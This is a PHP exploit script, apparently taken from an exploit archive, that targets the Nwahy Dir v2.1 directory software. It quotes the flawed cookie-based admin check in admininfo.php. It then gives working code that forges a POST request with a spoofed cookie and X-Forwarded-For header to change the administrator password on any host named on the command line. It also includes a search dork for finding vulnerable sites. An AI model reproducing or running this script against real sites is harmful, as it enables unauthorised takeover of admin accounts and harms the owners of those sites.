Nwahy Dir 2.1 Change Admin Password

`<?  
  
/*  
  
[ Nwahy Dir v2.1 Change Admin Password Exploit ]   
  
[-] Author : rEcruit  
[-] Mail : recru1t[@]ymail.com  
[-] Download : http://nwahy.com/showdownload-3105.html  
  
[-] Vuln in ./admincp/admininfo.php  
  
[code]  
  
$u = addslashes($_COOKIE['username']);  
$query = mysql_query ("SELECT * FROM `dlil_admin` WHERE username='$u' AND adminoruser='0'") or die ("Query failed");  
$counts = mysql_num_rows($query);  
if($counts == 0){  
echo "<div align='center'>......................</div>";  
}else{  
  
[/code]  
  
[-] Works On :  
  
1. Nwahy Articles v1  
  
2. Nwahy scripts v1  
  
3. Nwahy book v1  
  
[-] Note : Path to Control Panel "/admincp/" .  
  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
  
function Usage()  
{  
print "\n\n";  
print "/------------------------------------------------------------\\\n";  
print "| Nwahy Dir v2.1 Change Admin Password Exploit |\n";  
print "\------------------------------------------------------------/\n";  
print "| [-] Author : rEcruit |\n";  
print "| [-] Mail : [email protected] |\n";  
print "| [-] Greetz : RAGE SCREAM , SAUDI L0rD , Fantastic Egypt |\n";  
print "\------------------------------------------------------------/\n";  
print "| [-] Dork : Nwahy.com 2.1 , inurl:'add-site.html' |\n";  
print "| [+] Usage : php Exploit.php HOST PATH Options |\n";  
print "| [-] HOST : Target server (ip/hostname) |\n";  
print "| [-] PATH : Path to Nwahy Dir |\n";  
print "| [-] Options : |\n";  
print "| =>Proxy :(ex. 0.0.0.0:8080) |\n";  
print "\------------------------------------------------------------/\n";  
print "\n\n";  
  
exit;  
}  
  
  
function Send()  
{  
Global $host,$path,$user,$pwd,$proxy;  
  
if(empty($proxy))  
{  
$Connect = @fsockopen($host,"80") or die("[-] Bad Host .");  
}else{  
$proxy = explode(":",$proxy);  
$Connect = @fsockopen($proxy[0],$proxy[1]) or die("[-] Bad Proxy .");  
}  
  
$Payload = "username={$user}&password={$pwd}";  
$Packet .= "POST {$path}/admincp/admininfo.php?action=edit HTTP/1.1 \r\n";  
$Packet .= "Host: {$host}\r\n";  
$Packet .= "Cookie: username={$user}\r\n";  
$Packet .= "X-Forwarded-For: 127.0.0.1\r\n";  
$Packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$Packet .= "Content-Length: ".(strlen($Payload))."\r\n";  
$Packet .= "Connection: close\r\n\r\n";  
$Packet .= $Payload;  
  
fputs($Connect,$Packet);  
  
while(!feof($Connect))   
$Response .= @fgets($Connect,2048);  
  
fclose($Connect);  
  
return $Response;  
}  
  
  
function Login()  
{  
$Response = @Send();  
  
if(eregi("refresh",$Response))  
{  
$msg = "[-] Password changed .\n";  
}  
elseif(eregi("<div align='center'>",$Response))  
{  
$msg = "[-] Bad username .\n";  
}  
else  
{  
$msg = "[-] Exploit failed .\n";  
}  
  
return $msg;  
}  
  
  
  
if ($argc < 3) Usage();  
  
$host = $argv[1];  
$path = $argv[2];;  
$proxy = $argv[3];  
  
  
Print "\r\n[-] Connecting to {$host} .... \r\n";  
  
while(1)  
{  
Print "[-] Username: ";  
  
if($user = str_replace (" ", "%20", trim(fgets(STDIN))))  
{  
Print "[-] New password: ";  
  
if($pwd = str_replace (" ", "%20", trim(fgets(STDIN))))  
{  
Print Login();  
exit;  
}  
  
  
}  
  
  
} //end while  
  
?>  
  
`